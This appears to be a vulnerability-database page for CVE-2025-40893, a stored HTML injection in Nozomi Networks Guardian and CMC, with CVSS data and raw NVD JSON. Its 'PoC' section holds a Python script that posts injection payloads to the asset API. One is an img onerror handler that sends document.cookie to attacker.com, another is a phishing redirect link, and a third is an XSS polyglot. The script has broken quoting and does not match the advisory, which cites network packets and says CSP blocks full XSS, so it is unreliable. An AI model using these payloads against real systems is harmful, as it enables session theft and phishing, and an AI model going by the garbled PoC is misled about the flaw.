Security Vulnerability Report
中文
CVE-2025-40893 CVSS 6.1 MEDIUM

CVE-2025-40893

Published: 2025-12-18 14:16:00
Last Modified: 2026-04-14 10:16:27

Description

A Stored HTML Injection vulnerability was discovered in the Asset List functionality due to improper validation of network traffic data. An unauthenticated attacker can send specially crafted network packets to inject HTML tags into asset attributes. When a victim views the affected assets in the Asset List (and similar functions), the injected HTML renders in their browser, enabling phishing and possibly open redirect attacks. Full XSS exploitation and direct information disclosure are prevented by the existing input validation and Content Security Policy configuration.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:nozominetworks:cmc:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nozominetworks:guardian:*:*:*:*:*:*:*:* - VULNERABLE
Nozomi Networks Guardian (版本未明确列出,需联系厂商确认)
建议查看官方安全公告:security.nozominetworks.com/NN-2025:14-01

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-40893 PoC - Stored HTML Injection in Nozomi Networks Guardian # Target: Nozomi Networks Guardian Asset List functionality TARGET_URL = "https://<guardian-host>/api/v1/assets" ATTACKER_CONTROLLED_DATA = { "asset_name": "<img src=x onerror='window.location.href="https://attacker.com/phishing?c="+document.cookie}'>", "asset_description": "<a href='https://attacker.com/malicious-redirect'>Click for prizes</a>", "asset_ip": "';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--> } } def inject_html_payload(): """ Send crafted network packet with HTML injection payload This simulates an attacker sending malicious traffic data """ headers = { "Content-Type": "application/json", "User-Agent": "Nozomi Networks Traffic Analyzer" } payload = { "source": "network_traffic", "asset_data": ATTACKER_CONTROLLED_DATA, "timestamp": "2025-12-18T00:00:00Z" } try: # In real attack, this would be sent to the Guardian sensor/collector response = requests.post(TARGET_URL, json=payload, headers=headers, timeout=10) print(f"Payload sent. Status: {response.status_code}") return response.status_code == 200 except requests.exceptions.RequestException as e: print(f"Request failed: {e}") return False def verify_injection(): """ Verify the HTML payload was stored and rendered """ verify_url = f"{TARGET_URL}/list" try: response = requests.get(verify_url, timeout=10) if ATTACKER_CONTROLLED_DATA["asset_name"] in response.text: print("[!] HTML Injection successful - Payload stored and rendered") return True except requests.exceptions.RequestException as e: print(f"Verification failed: {e}") return False if __name__ == "__main__": print("CVE-2025-40893 PoC - Nozomi Networks Guardian HTML Injection") print("=" * 60) if inject_html_payload(): print("[*] Payload sent successfully") # Note: In real scenario, victim must view the asset list print("[*] Waiting for victim to access Asset List...")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-40893", "sourceIdentifier": "[email protected]", "published": "2025-12-18T14:15:59.620", "lastModified": "2026-04-14T10:16:27.247", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Stored HTML Injection vulnerability was discovered in the Asset List functionality due to improper validation of network traffic data. An unauthenticated attacker can send specially crafted network packets to inject HTML tags into asset attributes. When a victim views the affected assets in the Asset List (and similar functions), the injected HTML renders in their browser, enabling phishing and possibly open redirect attacks. Full XSS exploitation and direct information disclosure are prevented by the existing input validation and Content Security Policy configuration."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nozominetworks:cmc:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.5.0", "matchCriteriaId": "91C795BB-9FFC-4FB0-B686-38DA32ACD478"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nozominetworks:guardian:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.5.0", "matchCriteriaId": "5FBA5D15-9BD3-4062-8560-FEB7FDF4180D"}]}]}], "references": [{"url": "https://security.nozominetworks.com/NN-2025:14-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://cert-portal.siemens.com/productcert/html/ssa-827968.html", "source": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e"}]}}